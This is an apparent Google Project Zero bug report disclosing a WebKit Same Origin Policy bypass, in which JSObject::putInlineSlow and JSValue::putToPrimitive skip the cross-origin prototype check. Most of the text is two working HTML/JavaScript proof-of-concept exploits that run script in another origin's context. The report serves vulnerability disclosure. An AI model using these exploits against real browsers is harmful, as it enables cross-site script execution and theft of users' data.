Reported by mailto:lokihardt@google.com, Apr 21 2017
JSObject::putInlineSlow and JSValue::putToPrimitive use getPrototypeDirect instead of getPrototype to get an object's prototype. So JSDOMWindow::getPrototype which checks the Same Origin Policy is not called.
The PoC shows to call a setter of another origin's object.
PoC 1 - JSValue::putToPrimitive:
<body>
<script>
let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
let a = 1.2;
a.__proto__.__proto__ = f.contentWindow;
a['test'] = {toString: function () {
arguments.callee.caller.constructor('alert(location)')();
}};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
'a' + v;
});
</scrip` + `t>`;
</script>
</body>PoC 2 - JSObject::putInlineSlow :
<body>
<script>
let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
let a = {
__proto__: f.contentWindow
};
a['test'] = {toString: function () {
arguments.callee.caller.constructor('alert(location)')();
}};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
'a' + v;
});
</scrip` + `t>`;
</script>
</body>Link: https://bugs.chromium.org/p/project-zero/issues/detail?id=1240